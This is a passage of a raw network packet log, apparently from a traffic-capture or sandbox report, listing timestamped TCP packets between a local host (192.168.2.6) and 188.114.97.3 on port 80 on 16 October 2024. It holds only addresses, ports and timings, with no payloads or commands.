                                                                                    Oct 16, 2024 10:58:22.202039003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202050924 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202074051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202079058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202090025 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202097893 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202101946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202117920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202137947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202189922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202214003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202229023 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202248096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202276945 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202359915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202370882 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202382088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202390909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202414036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202430010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202595949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202608109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202620029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202627897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202641010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202641010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202650070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202661991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202668905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202668905 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202672958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202697039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202697992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202697992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202708006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202708960 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202728987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202735901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202735901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202740908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202765942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202765942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202817917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202830076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202837944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202858925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202869892 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202877045 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202893972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202925920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202925920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.202966928 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.202976942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203006983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203006983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203058958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203071117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203082085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203093052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203100920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203104973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203121901 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203144073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203183889 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203228951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203253984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203264952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203275919 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203285933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203298092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203313112 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203424931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203458071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203479052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203491926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203511953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203536987 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203555107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203593969 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203614950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203625917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203650951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203655958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203687906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203705072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203742027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203815937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203826904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203836918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203849077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203857899 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203881025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203881025 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.203936100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.203977108 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204021931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204032898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204044104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204054117 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204060078 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204075098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204099894 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204176903 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204188108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204219103 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204241037 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204272032 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204283953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204294920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204307079 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204329967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204366922 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204392910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204404116 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204405069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204418898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204459906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204468012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204478979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204490900 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204500914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204511881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204513073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204521894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204523087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204535007 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204546928 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204567909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204567909 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204761028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204797983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204860926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204870939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204936981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204936981 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.204973936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204986095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.204994917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205004930 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205008984 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205029011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205049038 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205053091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205068111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205079079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205089092 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205111027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205111027 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205235958 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205245972 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205256939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205266953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205276966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205277920 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205287933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205301046 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205303907 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205321074 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205337048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205363035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205374956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205384016 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205394983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205405951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205405951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205416918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205425978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205430031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205437899 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205447912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205463886 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205485106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.205858946 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.205897093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206156015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206166983 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206177950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206199884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206221104 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206235886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206247091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206259012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206269026 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206280947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206304073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206665039 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206676006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206686020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206695080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206706047 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206706047 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206717968 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206722975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206733942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206737995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206748009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206762075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206763029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206826925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206826925 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206856966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206867933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206877947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206888914 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206899881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206921101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206921101 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206955910 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.206968069 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206979036 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.206990957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207011938 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207040071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207165003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207175970 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207196951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207205057 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207206964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207220078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207231045 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207268000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207268000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207304001 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207314968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207325935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207335949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207348108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207359076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207362890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207362890 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207390070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207401037 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207431078 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207437038 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207448006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207453966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207458973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207463980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207469940 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207504988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207510948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207510948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207576036 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207592964 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207604885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207616091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207626104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207628965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207637072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.207653999 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.207678080 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.208174944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.208215952 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.208219051 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.208231926 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.208266973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.208403111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.208412886 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.208445072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.208468914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.241125107 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.241136074 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.241146088 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.241180897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.241216898 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.251480103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.251497984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.251509905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.251521111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.251523972 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.251534939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.251534939 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.251559973 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.251590967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262068987 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262079000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262089968 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262111902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262123108 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262128115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262135029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262146950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262156963 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262168884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262178898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262192011 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262192965 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262202978 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262228012 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262249947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262316942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262326956 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262336969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262347937 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262356997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262361050 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262368917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262370110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262379885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262382984 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262394905 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262398958 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262406111 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262408018 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262425900 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262430906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262449026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262463093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262475014 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262485027 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262500048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262522936 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262528896 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262545109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262556076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262564898 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:22.262568951 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262581110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:22.262584925 CEST4980280192.168.2.6188.114.97.3
